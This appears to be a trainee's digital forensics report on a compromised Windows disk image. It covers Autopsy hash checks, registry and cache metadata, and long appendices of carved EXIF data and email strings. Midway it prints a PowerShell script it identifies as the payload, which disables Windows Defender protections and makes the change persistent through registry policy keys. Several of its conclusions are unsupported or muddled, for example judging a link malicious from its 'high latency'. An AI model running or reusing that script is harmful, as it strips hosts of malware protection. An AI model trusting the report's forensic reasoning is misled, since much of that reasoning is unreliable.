Intelligence Report Final

Forensic Analysis Intelligence Report
ABOUT THIS REPORT
This report is based on PDF (portable document format) in order to view this report you must have
a pdf viewer install in your system if it is not present, you may be installed it by clicking on this
link
https://en.softonic.com/download/pdf-reader/windows/post-download?ex=BB-1549.1
Font used Content: Times new Roman size: 12
Font used heading: Times new Roman size: 16
Executive Summary
Forensic analysis of digital evidence is never performed in a vacuum – its necessity arises out of a
course of events whether in a criminal investigation, civil litigation or a policy violation in the
corporate environment. In this case my boss has acknowledged that I have been consistently
exceeding my junior analyst expectations, and as a result she has agreed to promote me into a
senior role. As a senior analyst, I will now be expected to lead a digital forensic investigation,
requiring little to no guidance in doing so.
After my promotion a new case has just arrived that requires my immediate attention. My
company has been contracted to conduct a digital forensic investigation into the compromise of
an existing customer’s host. The customer believes they have been re-compromised by the same
actor as previously investigated, so be on the lookout for overlapping TTPs.
Page 1/145
Case Details
Case Identifier
Customer
Customer Contact
Date Engaged 11-APRIL-2021
Forensic Investigator ALI BABA
Date Completed
Background
Once the case has been reported and the forensic examiner determines and classifies the cybercrime
case. The examiner will get to the scene of crime take control and secure the crime scene from
contamination by not allowing any person to interact with the digital equipment or device.
According to ACPO guidelines the forensic examiner should photograph the digital devices in the
crime scene or site and keep a record of the device status including the on-screen
details/information. The device should then be powered off if it’s on to isolate it from the network
and prevent any usage of the device that can temper with the data in the device. The forensic
examiner should seize chargers, cables manuals, phone bills and packaging if possible, the
packaging material may have some information for the forensic examiner. The digital devices must
be packaged well and carried in specialized carriers and only handled by authorized personnel.
As per usual, the customer’s Security Operations Centre (SOC) has performed an initial
investigation, and successfully located the compromised host. The host was contained and
reimaged, but not before the disk and memory were captured. Furthermore, the customer has also
provided me with a relevant network capture from a location somewhere within their network.
Page 2/145
Technical Analysis
As a forensic investigator I will be carrying out investigation on two image files, one named
disk.raw and the next being memory. Raw. The investigation environment is a Linux system that is
safe from viruses or worms. Its distribution name is Debian 10 and Autopsy will be the most used
tool for this investigation. Autopsy is one of the sleuth kit tools that runs locally on the browser and
fired from the terminal. This is a graphical user interface tool that is easy to navigate around and
collect forensic evidence.
Checking image integrity
This test is necessary so that to be sure the image file is as original as the original drive. I will do
this by comparing its hash value. Lets have a look at the MD5 hash comparison that will be done
by Autopsy tool. It is stated pass to show that the hash value are the same for the disk.raw image
file. The image file will now give correct evidence after investigation. This is shown in the figure
bellow.
Fig 1.0. shows the hash value comparison
I will also check the MD5 hash of the other image file named memory.raw. This image file also
pass the integrity check meaning the hash value has not changed.
Page 3/145
Fig 1.1. Shows the original vs current MD5 hash value comparison.
Another important factor is to check the image information. This is done by navigating to the image
details tab on the top bar of autopsy. We can view the file system information, the metadata
information, and the content information. The file system is of type NTFS, volume name WinRE
and version being Windows XP. The image information is shown at the bellow figure 1.2.
Fig 1.2. The image details is being shown.
How the computer was compromised
Page 4/145
The system hard drive was compromised in that it could not boot anymore. Some of the files were
also deleted. The deleted files are named unallocated file while those present are stated located The
attacker launched a virus that ended up compromising the hard drive. The system can not find the
drive during its booting process. We can see from the bellow figure how the system respond when
boot attempt is done.
Fig 1.2. shows the content of the boot directory.
The boot manager is said to be compressed and that's why we receive an error stating a disk read
error occurred.
So many file were deleted and this can be seen by clicking the all deleted file button that is on the
left side of the screen. This deleted files include images, documents of different formats, and other
executable files. The fig 1.3 bellow shows some on the deleted files.
Page 5/145
Fig 1.3. Shows some of the deleted files
From the list we can we a suspicious file having a .dll extension. Such a file is executable and any
malicious application may have been created that when executed by the user it corrupts the entire
system. I followed a path that leads to some deleted image file with png extension. From the bellow
figure we can see some of this images.
Fig 1.4. A deleted image in the contrast-black folder.
Page 6/145
Now I find some NTUSER.DAT file after analysiz this file it was confirmed that suspects using
these files for attacking vector Fig 1.5 to 1.7 show the mirror of the statement
Fig 1.5. Initial attack vector that was used to compromise the user
.
Name /img_disk.raw/vol_vol7/Users/Alan/ntuser.dat.LOG1
Type File System
MIME Type application/x.windows-registry
Size 425984
File Name Allocation Allocated
Metadata Allocation Allocated
Modified 2019-07-10 22:39:20 CDT
Accessed 2019-07-10 22:39:20 CDT
Created 2019-07-10 22:39:20 CDT
Changed 2019-07-10 22:39:20 CDT
MD5 c0e6b78b920e32d8b481f5cc01c7b6d7
Hash Lookup Results UNKNOWN
Internal ID 42864
From The Sleuth Kit istat Tool:
MFT Entry Header Values:

Entry: 80150 Sequence: 1
$LogFile Sequence Number: 542451411
Allocated File
Links: 2
$STANDARD_INFORMATION Attribute Values:

Flags: Hidden, System, Archive
Owner ID: 0
Security ID: 1554 (S-1-5-32-544)
Last User Journal Update Sequence Number: 7998848
Page 7/145
Fig 1.6
Fig 1.7
Name /
img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Packages/Microsoft.MicrosoftEdge_8we
kyb3d8bbwe/AC/#!001/MicrosoftEdge/Cache/Y2A6TZJV/190806113425-03-russia-
explosion-0805-large-tease[1].jpg
Type File System
MIM
E image/jpeg
Type
Size 31989
File
Name
Allocated
Alloc
ation
Meta Allocated
data
Page 8/145
Alloc
ation
Modif
2019-08-17 01:40:06 CDT
ied
Acces
2019-08-17 01:40:06 CDT
sed
Creat
2019-08-17 01:40:06 CDT
ed
Chan
2019-08-17 01:40:06 CDT
ged
MD5 c3cfb8dc8cad94a62ed67d9ae273d726
Hash
Look
up UNKNOWN
Resul
ts
Intern
38657
al ID
From The Sleuth Kit istat Tool:
MFT Entry Header Values:

Entry: 83853 Sequence: 1
$LogFile Sequence Number: 305828567
Allocated File
Links: 2
$STANDARD_INFORMATION Attribute Values:

Flags: Archive, Not Content Indexed
Owner ID: 0
Security ID: 1828 (S-1-5-21-2423855938-2581495550-2013206183-1000)
Last User Journal Update Sequence Number: 9190072
after examines these document it was found that that payload will exist in the backend of this
document and this will auto disabled windows all security features
Page 9/145
Fig 1.8 document that was used to compromise the user
Fig 1.9 document that was used to compromise the user
Here I show you some metadata at the backend of the document which
containing the payload
# Disable Windows Defender features in real time

Set-MpPreference -MAPSReporting 0
Set-MpPreference -SubmitSamplesConsent 2
Set-MpPreference -DisableRealtimeMonitoring $True
Set-MpPreference -DisableBehaviorMonitoring $True
Set-MpPreference -DisableIntrusionPreventionSystem $True
Set-MpPreference -DisableIOAVProtection $True
Set-MpPreference -DisableRealtimeMonitoring $True
Set-MpPreference -DisableScriptScanning $True
Set-MpPreference -DisableArchiveScanning $True
Set-MpPreference -DisableCatchupFullScan $True
Set-MpPreference -DisableCatchupQuickScan $True
Set-MpPreference -DisableEmailScanning $True
Set-MpPreference -DisableRemovableDriveScanning $True
Set-MpPreference -DisableRestorePoint $True
Page 10/145
Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan $True
Set-MpPreference -DisableScanningNetworkFiles $True
Set-MpPreference -DisableBlockAtFirstSeen $True
# Persist Windows Defender features settings in registry
$path = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender"
if (!(Test-Path -Path $path)) {
New-Item -Path $path -Force
New-ItemProperty -Path $path -Name "DisableAntiSpyware" -PropertyType DWord -Value 1
-Force
$path = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet"
New-ItemProperty -Path $path -Name "SubmitSamplesConsent" -PropertyType DWord -Value 2
-Force
$path = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection"
New-ItemProperty -Path $path -Name "DisableRealtimeMonitoring" -PropertyType DWord -Value
1 -Force
New-ItemProperty -Path $path -Name "DisableBehaviorMonitoring" -PropertyType DWord -Value
1 -Force
New-ItemProperty -Path $path -Name "DisableOnAccessProtection" -PropertyType DWord -Value
1 -Force
New-ItemProperty -Path $path -Name "DisableScanOnRealtimeEnable" -PropertyType DWord
-Value 1 -Force
I found some mentioned below links through which machine will be compromised as this link will
contain malware because it was showing very high latency
Page 11/145
Fig 1.10 Link that was used to compromise the user
Appendix
AppendixA
EXIF Metadata
Device La Lo Al T
Date Manuf Device tit ngi tit a
Source File
Taken acture Model ud tud ud g
r e e e s
2004- /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows
04-09 NT/MSScan/WelcomeScan.jpg
09:17:00
CDT
2004- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-
04-09 fax-
09:17:00 common_31bf3856ad364e35_10.0.17763.1_none_fcca98cea8c9f397/
CDT WelcomeScan.jpg
2015- Cano Cano /
09-22 n n img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Packages/Microsoft.
12:50:15 EOS- MicrosoftEdge_8wekyb3d8bbwe/AC/#!
CDT 1D X 001/MicrosoftEdge/Cache/Y2A6TZJV/190705115727-leonardo-
dicaprio-divestinvest-super-169[1].jpg
2017- /img_disk.raw/vol_vol7/Program
09-27 Files/WindowsApps/microsoft.windowscommunicationsapps_17.9330.
Page 12/145
Device La Lo Al T
Date Manuf Device tit ngi tit a
Source File
Taken acture Model ud tud ud g
r e e e s
17:05:12 21365.0_x64__8wekyb3d8bbwe/images/bg1a_thumb.png
CDT
2017- Cano Cano /
CST 1D X 001/MicrosoftEdge/Cache/KBBFFLP4/190815164849-alex-rotter-
tease-medium-tease[1].jpg
2018- Apple iPhon /
08-20 e7 img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Packages/Microsoft.
13:09:09 Plus MicrosoftEdge_8wekyb3d8bbwe/AC/#!
CDT 001/MicrosoftEdge/Cache/YATO9SWU/190419152043-01-greenland-
climate-change-small-169[1].jpg
2019- Cano Cano /
CDT 1D X 001/MicrosoftEdge/Cache/Y2A6TZJV/190806113425-03-russia-
explosion-0805-large-tease[1].jpg
AppendixB
Email Addresses
%7c@i.sg
T
a
Preview Source File
g
s
q[9me!b9 o17how@pg /img_disk.raw/vol_vol7/Windows/Speech_OneCore/Engines/TTS/en-

[«%7c@i.sg« US/M1033Mark.TBT.NUS
w&fib_$sf">r#/ c\`'
q[9me!b9 o17how@pg /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

[«%7c@i.sg« t..peech-en-us-
w&fib_$sf">r#/ c\`' onecore_31bf3856ad364e35_10.0.17763.1_none_ecc2dbcee106498b/M10
33Mark.TBT.NUS
Page 13/145
%net@vsc.de
Ta
Preview Source File
gs
p checksum offlhoad «%net@vsc.de« /

`paramet@ers (e]b i img_disk.raw/vol_vol7/Windows/WinSxS/ManifestCache/4
20eca21891c0180_blobs.bin
-@hsvc.re
Ta
Preview Source File
gs
ult micros -windows «-@hsvc.re« /

sour ` ndis nic a c img_disk.raw/vol_vol7/Windows/WinSxS/ManifestCache/420e
ca21891c0180_blobs.bin
-cz@1.pa
T
a
Preview Source File
g
s
,l va$e7 +xr, g" s «- /img_disk.raw/vol_vol7/Windows/Speech/Engines/SR/en-US/l1033.ngr

cz@1.pa«3 a9\%<gz
0r*b1 g" s
,l va$e7 +xr, g" s «- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

cz@1.pa«3 a9\%<gz speechrecognizer-en-
0r*b1 g" s us_31bf3856ad364e35_10.0.17763.1_none_a7d4b3ba449618b9/l1033.ngr
-putty-user-key-file-ssh-sshconnection@putty.projects.tartarus.org
Ta
Preview Source File
gs
rojects.tartarus.org«-putty-user-key-file-ssh- /
sshconnection@putty.projects.tartarus.org«-2.0----- begin ssh2 img_disk.raw/vol_vol7/Window
s/Temp/plink.exe
Page 14/145
0@8rzzxt.gg
T
a
Preview Source File
g
s
*~ _a=6) ;g(2 )lcim /img_disk.raw/vol_vol7/Windows/Fonts/msjhbd.ttc

«0@8rzzxt.gg«0ex:100we
ddl5@@6?=88
*~ _a=6) ;g(2 )lcim /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«0@8rzzxt.gg«0ex:100we f..crosoftjhengheibold_31bf3856ad364e35_10.0.17763.1_none_4f76834
ddl5@@6?=88 204d02fe2/msjhbd.ttc
0aoki@example.com
T
a
Preview Source File
g
s
l) ]0n0 n(&h) 0k0v0 /

«0aoki@example.com« img_disk.raw/vol_vol7/Windows/SysWOW64/IME/IMEJP/IMJPDCT.EXE
tbfk0xs 0(&s) x0n0t
l) ]0n0 n(&h) 0k0v0 /img_disk.raw/vol_vol7/Windows/System32/IME/IMEJP/IMJPDCT.EXE

«0aoki@example.com«
tbfk0xs 0(&s) x0n0t
l) ]0n0 n(&h) 0k0v0 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«0aoki@example.com« d..-japanese-
tbfk0xs 0(&s) x0n0t utilities_31bf3856ad364e35_10.0.17763.1_none_ddf728caca4415b8/IM
JPDCT.EXE
l) ]0n0 n(&h) 0k0v0 /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-

«0aoki@example.com« d..-japanese-
tbfk0xs 0(&s) x0n0t utilities_31bf3856ad364e35_10.0.17763.1_none_e84bd31cfea4d7b3/IM
JPDCT.EXE
Page 15/145
0oj@c.fj
T
a
Preview Source File
g
s
b-8d? 0- /img_disk.raw/vol_vol7/Windows/Speech_OneCore/Engines/TTS/en-
lb;*e+czh+t>«0oj@c.fj US/M1033Zira.TBT.NUS
«- :&i,eak*]s"hrma*ù
b-8d? 0- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-
lb;*e+czh+t>«0oj@c.fj t..peech-en-us-
«- :&i,eak*]s"hrma*ù onecore_31bf3856ad364e35_10.0.17763.1_none_ecc2dbcee106498b/M103
3Zira.TBT.NUS
0user@contoso.onmicrosoft.com
T
a
Preview Source File
g
s
0 0g0m0~0[0 0 id o0 /img_disk.raw/vol_vol7/Program
«0user@contoso.onmicroso Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x64
ft.com« ~0_0o0 __8wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
user@contoso Shared/OFFICE16/MSOIDRES.DLL
2e6@p.kh
T
a
Preview Source File
g
s
j'zg >f f $>g1 %a?? /img_disk.raw/vol_vol7/Windows/SysWOW64/WindowsCodecsRaw.dll

«2e6@p.kh« 6@(x/
@6@zz wzs@` a
j'zg >f f $>g1 %a?? /img_disk.raw/vol_vol7/Windows/System32/WindowsCodecsRaw.dll

«2e6@p.kh« 6@(x/
@6@zz wzs@` a
j'zg >f f $>g1 %a?? /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«2e6@p.kh« 6@(x/ windowscodecraw_31bf3856ad364e35_10.0.17763.1_none_85bb5b960fe
@6@zz wzs@` a 5efe7/WindowsCodecsRaw.dll
Page 16/145
T
a
Preview Source File
g
s
j'zg >f f $>g1 %a?? /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-

«2e6@p.kh« 6@(x/ windowscodecraw_31bf3856ad364e35_10.0.17763.1_none_901005e8444
@6@zz wzs@` a 6b1e2/WindowsCodecsRaw.dll
3@vnd.ms
Ta
Preview Source File
gs
h axdx ta8i( >@830 .«3@vnd.ms«- /

photo w@o+oxd+u +dx img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Microsoft/
Windows/WebCache/V0100011.log
3gpp@2.mov
Ta
Preview Source File
gs
ttrehe)\ wow6 video/«3gpp@2.mov« /

%cservelr3 so@ftwar img_disk.raw/vol_vol7/Windows/WinSxS/ManifestCache/42
4@ter.co
Ta
Preview Source File
gs
t 0513110 832 ggif@«4@ter.co« /

.idomn odei atolr 5 img_disk.raw/vol_vol7/Windows/WinSxS/ManifestCache/420e
ca21891c0180_blobs.bin
4k@kz.pl
T
a
Preview Source File
g
s
z b)d\\4 k00] /img_disk.raw/vol_vol7/Windows/Fonts/seguihis.ttf

674' /«4k@kz.pl« 674'
yzuôv0y uuu_p
Page 17/145
T
a
Preview Source File
g
s
z b)d\\4 k00] /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-font-

674' /«4k@kz.pl« 674' truetype-
yzuôv0y uuu_p segoeui_31bf3856ad364e35_10.0.17763.1_none_c181ed9e6a661a64/seg
uihis.ttf
69qh-c-@qzqdh.mc
T
a
Preview Source File
g
s
bgpe,_,8on b>9yl;4 /img_disk.raw/vol_vol7/Windows/Speech_OneCore/Engines/TTS/en-

«69qh-c-@qzqdh.mc«35 US/M1033Mark.TBT.NUS
u $?yx&i*ln _br+v
bgpe,_,8on b>9yl;4 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«69qh-c-@qzqdh.mc«35 t..peech-en-us-
u $?yx&i*ln _br+v onecore_31bf3856ad364e35_10.0.17763.1_none_ecc2dbcee106498b/M
1033Mark.TBT.NUS
6mz@6.pa
T
a
Preview Source File
g
s
ea.$ z cz@, z2"z5# /img_disk.raw/vol_vol7/Windows/Speech/Engines/SR/en-US/l1033.ngr

@«6mz@6.pa«7 4b;9b@;
<ww@<uw@ &
ea.$ z cz@, z2"z5# /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

@«6mz@6.pa«7 4b;9b@; speechrecognizer-en-
<ww@<uw@ & us_31bf3856ad364e35_10.0.17763.1_none_a7d4b3ba449618b9/l1033.
ngr
Page 18/145
72r@f.sg
T
a
Preview Source File
g
s
7 \@7!\@ a[@lt )am$ /img_disk.raw/vol_vol7/Windows/Speech/Engines/SR/en-US/l1033.ngr

«72r@f.sg« 716ad
yaovy fkpf 9@
7 \@7!\@ a[@lt )am$ /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«72r@f.sg« 716ad speechrecognizer-en-
yaovy fkpf 9@ us_31bf3856ad364e35_10.0.17763.1_none_a7d4b3ba449618b9/l1033.ng
r
74512.261@compuserve.com
T
a
Preview Source File
g
s
bob jenkins, 1996. /img_disk.raw/vol_vol7/Windows/Help/en-US/credits.rtf

«74512.261@compuserve.co
m«. you may use this c
bob jenkins, 1996. /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«74512.261@compuserve.co help-credits.resources_31bf3856ad364e35_10.0.17763.1_en-
m«. you may use this c us_9f32aadd3c4c1e93/credits.rtf
8-abef65@s.az
T
a
Preview Source File
g
s
h}j 5sb1c !%)=cld <^«8- /img_disk.raw/vol_vol7/Windows/Fonts/msjhl.ttc

abef65@s.az« y\x5k5
y_ck) .ak3)%
h}j 5sb1c !%)=cld <^«8- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

abef65@s.az« y\x5k5 f..rosoftjhengheilight_31bf3856ad364e35_10.0.17763.1_none_58c8ac83
y_ck) .ak3)% 7e023ce9/msjhl.ttc
Page 19/145
8_m@8.pa
T
a
Preview Source File
g
s
k7(@cv(@k alpo wa66 /img_disk.raw/vol_vol7/Windows/Speech/Engines/SR/en-US/l1033.ngr

«8_m@8.pa«8 a9%z
@;8b@; @<zr@<
k7(@cv(@k alpo wa66 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«8_m@8.pa«8 a9%z speechrecognizer-en-
@;8b@; @<zr@< us_31bf3856ad364e35_10.0.17763.1_none_a7d4b3ba449618b9/l1033.
ngr
_1@msn.com
T
a
Preview Source File
g
s
haar e-mail /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

'là«_1@msn.com«' is shared/ink/Alphabet.xml
nu 'là_q@msn.co
haar e-mail /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

'là«_1@msn.com«' is t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e
nu 'là_q@msn.co 7da144/Alphabet.xml
__nosuchmailid__@dontexist.foo
T
a
Preview Source File
g
s
lient::hrinitclient /img_disk.raw/vol_vol7/Windows/SysWOW64/msdrm.dll
«__nosuchmailid__@dontexis
t.foo« microsoft::informat
lient::hrinitclient /img_disk.raw/vol_vol7/Windows/System32/msdrm.dll
«__nosuchmailid__@dontexis
t.foo« microsoft::informat
Page 20/145
T
a
Preview Source File
g
s
lient::hrinitclient /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-
«__nosuchmailid__@dontexis r..ement-client-v1-
t.foo« microsoft::informat api_31bf3856ad364e35_10.0.17763.1_none_d8c386bdeb6dfde2/ms
drm.dll
lient::hrinitclient /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-
«__nosuchmailid__@dontexis r..ement-client-v1-
t.foo« microsoft::informat api_31bf3856ad364e35_10.0.17763.1_none_e31831101fcebfdd/msd
rm.dll
__nosuchmailid__@dontexit.foo
T
a
Preview Source File
g
s
pcimpl::hrgeticrypt /
«__nosuchmailid__@dontexit.f img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Microsoft/OneDriv
oo« windows: virmdocume e/18.143.0717.0002/ipcfile.dll
/signature> </xrml> /
oo« license-acquisition e/18.143.0717.0002/ipcsecproc.dll
oo« delegatedtenantid e e/18.143.0717.0002/msipc.dll
pcimpl::hrgeticrypt /
oo« windows: virmdocume e/18.143.0717.0002_1/ipcfile.dll
oo« license-acquisition e/18.143.0717.0002_1/ipcsecproc.dll
Page 21/145
T
a
Preview Source File
g
s
oo« delegatedtenantid e e/18.143.0717.0002_1/msipc.dll
/signature> </xrml> /img_disk.raw/vol_vol7/Windows/SysWOW64/winmsipc.dll

«__nosuchmailid__@dontexit.f
oo« msipc onecoreuap\ds
mipccrypt::hrencode /img_disk.raw/vol_vol7/Windows/System32/winipcfile.dll
oo« virmdocumentipcimpl
/signature> </xrml> /img_disk.raw/vol_vol7/Windows/System32/winmsipc.dll

oo« msipc cbsize >= (si
mipccrypt::hrencode /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-
«__nosuchmailid__@dontexit.f windows-r..ment-client-v2-
oo« virmdocumentipcimpl core_31bf3856ad364e35_10.0.17763.1_none_46def9d0c62d6f82/w
inipcfile.dll
/signature> </xrml> /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-

oo« msipc cbsize >= (si core_31bf3856ad364e35_10.0.17763.1_none_46def9d0c62d6f82/w
inmsipc.dll
/signature> </xrml> /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-

oo« msipc onecoreuap\ds core_31bf3856ad364e35_10.0.17763.1_none_5133a422fa8e317d/
winmsipc.dll
Page 22/145
_c14e99c7-44bb-44ef-9f1d-5342c0afce0c@live.com
T
a
Preview Source File
g
s
is not initialized «_c14e99c7- /img_disk.raw/vol_vol7/Program

44bb-44ef-9f1d- Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x
5342c0afce0c@live.com« 64__8wekyb3d8bbwe/mso30imm.dll
unexpected provider

44bb-44ef-9f1d- Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x
5342c0afce0c@live.com« 64__8wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
unexpected provider Shared/OFFICE16/Mso30win32client.dll
dfromregistrystring /img_disk.raw/vol_vol7/Program
«_c14e99c7-44bb-44ef-9f1d- Files/WindowsApps/Microsoft.Office.OneNote_16001.10228.20003.
5342c0afce0c@live.com« 0_x64__8wekyb3d8bbwe/mso30imm.dll
wzname is null, can

44bb-44ef-9f1d- Files/WindowsApps/microsoft.windowscommunicationsapps_17.933
5342c0afce0c@live.com« 0.21365.0_x64__8wekyb3d8bbwe/mso30imm.dll
unexpected provider
_q@msn.com
T
a
Preview Source File
g
s
1@msn.com' is nu /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

'là«_q@msn.com«'. shared/ink/Alphabet.xml
druk op #
1@msn.com' is nu /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-
'là«_q@msn.com«'. t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e
druk op # 7da144/Alphabet.xml
Page 23/145
a_e@msn.com
T
a
Preview Source File
g
s
en één e-mailadres: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«a_e@msn.com«. shared/ink/Alphabet.xml
"húp, húp,
en één e-mailadres: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«a_e@msn.com«. t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e
"húp, húp, 7da144/Alphabet.xml
abc@acme.com
T
a
Preview Source File
g
s
l.f tif) 7 %ld. ) /

«abc@acme.com« img_disk.raw/vol_vol7/Windows/System32/DriverStore/FileRepository/pr
01/01/20000zadeva z nms002.inf_amd64_6d7ddeebcacd2a6d/Amd64/FXSRES.DLL
l.f tif) 7 %ld. ) /

«abc@acme.com« img_disk.raw/vol_vol7/Windows/System32/spool/drivers/x64/3/FXSRES.
01/01/20000zadeva z DLL
l.f tif) 7 %ld. ) /

«abc@acme.com« img_disk.raw/vol_vol7/Windows/WinSxS/amd64_dual_prnms002.inf_31b
01/01/20000zadeva z f3856ad364e35_10.0.17763.1_none_de4a75df21a850fc/Amd64/FXSRE
S.DLL
ac-64-etm@op-ssh.com
Tag
Preview Source File
s
m@ icrosoft\wi apps «ac-64-etm@op-ssh.com«, sha2-8 /

<@3{ a256:o img_disk.raw/vol_vol7/pagefile.s
ys
Page 24/145
ac@aca.org
Ta
Preview Source File
gs
<(,d t8tt m-jc rv^5 /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows

«ac@aca.org« /doc0` Defender/Scans/mpcache-
rconsultdecl 3F8B6E8E40CCEDF3C2DD9B1556607E93976E5D46.bin
ac@acabogacia.org
T
a
Preview Source File
g
s
<(,d t8tt m-jc rv^5 /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows

«ac@acabogacia.org« Defender/Scans/mpcache-
http://www.acabogac 3F8B6E8E40CCEDF3C2DD9B1556607E93976E5D46.bin.5B
<(,d t8tt m-jc rv^5 /img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dmp

«ac@acabogacia.org«
http://www.acabogac
<(,d t8tt m-jc rv^5 /

«ac@acabogacia.org« img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/lsass.
http://www.acabogac dmp
<(,d t8tt m-jc rv^5 /img_disk.raw/vol_vol7/Windows/SysWOW64/crypt32.dll

http://www.acabogac
<(,d t8tt m-jc rv^5 /img_disk.raw/vol_vol7/Windows/System32/crypt32.dll

http://www.acabogac
<(,d t8tt m-jc rv^5 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«ac@acabogacia.org« crypt32-
http://www.acabogac dll_31bf3856ad364e35_10.0.17763.1_none_4c35abc135fd32d6/crypt3
2.dll
<(,d t8tt m-jc rv^5 /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-

«ac@acabogacia.org« crypt32-
http://www.acabogac dll_31bf3856ad364e35_10.0.17763.1_none_568a56136a5df4d1/crypt
Page 25/145
T
a
Preview Source File
g
s
32.dll
account@example.com
T
a
Preview Source File
g
s
ing the user in the /

«account@example.co img_disk.raw/vol_vol7/Windows/SystemResources/Windows.UI.SettingsAd
m« format instead plea minFlowUIThreshold/pris/Windows.UI.SettingsAdminFlowUIThreshold.en-
US.pri
ing the user in the /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«account@example.co s..dminflows.resources_31bf3856ad364e35_10.0.17763.1_en-
m« format instead plea us_f2cdb19306f6c2cf/Windows.UI.SettingsAdminFlowUIThreshold.en-US.pri
accv@accv.es
T
a
Preview Source File
g
s
/raizaccv1_der.crl0 /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows
«accv@accv.es«0 cghd Defender/Scans/mpcache-
lm`@ ictc odz 3F8B6E8E40CCEDF3C2DD9B1556607E93976E5D46.bin.5B
/raizaccv1_der.crl0 /img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dmp
«accv@accv.es«0 cghd
lm`@ ictc odz
/raizaccv1_der.crl0 /
«accv@accv.es«0 cghd img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/lsass.d
lm`@ ictc odz mp
/raizaccv1_der.crl0 /img_disk.raw/vol_vol7/Windows/SysWOW64/crypt32.dll
lm`@ ictc odz
Page 26/145
T
a
Preview Source File
g
s
/raizaccv1_der.crl0 /img_disk.raw/vol_vol7/Windows/System32/crypt32.dll
lm`@ ictc odz
/raizaccv1_der.crl0 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-
«accv@accv.es«0 cghd crypt32-
lm`@ ictc odz dll_31bf3856ad364e35_10.0.17763.1_none_4c35abc135fd32d6/crypt32
.dll
/raizaccv1_der.crl0 /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-
«accv@accv.es«0 cghd crypt32-
lm`@ ictc odz dll_31bf3856ad364e35_10.0.17763.1_none_568a56136a5df4d1/crypt32
.dll
acraiz@suscerte.gob.ve
T
a
Preview Source File
g
s
ion electronica1%0# /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows

«acraiz@suscerte.gob.ve«0 Defender/Scans/mpcache-
070216153551z 2702 3F8B6E8E40CCEDF3C2DD9B1556607E93976E5D46.bin.5B
ion electronica1%0# /img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dmp

«acraiz@suscerte.gob.ve«0
070216153551z 2702
ion electronica1%0# /
«acraiz@suscerte.gob.ve«0 img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/lsa
070216153551z 2702 ss.dmp
ion electronica1%0# /img_disk.raw/vol_vol7/Windows/SysWOW64/crypt32.dll

070216153551z 2702
Page 27/145
T
a
Preview Source File
g
s
ion electronica1%0# /img_disk.raw/vol_vol7/Windows/System32/crypt32.dll

070216153551z 2702
ion electronica1%0# /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-

«acraiz@suscerte.gob.ve«0 windows-crypt32-
070216153551z 2702 dll_31bf3856ad364e35_10.0.17763.1_none_4c35abc135fd32d6/cry
pt32.dll
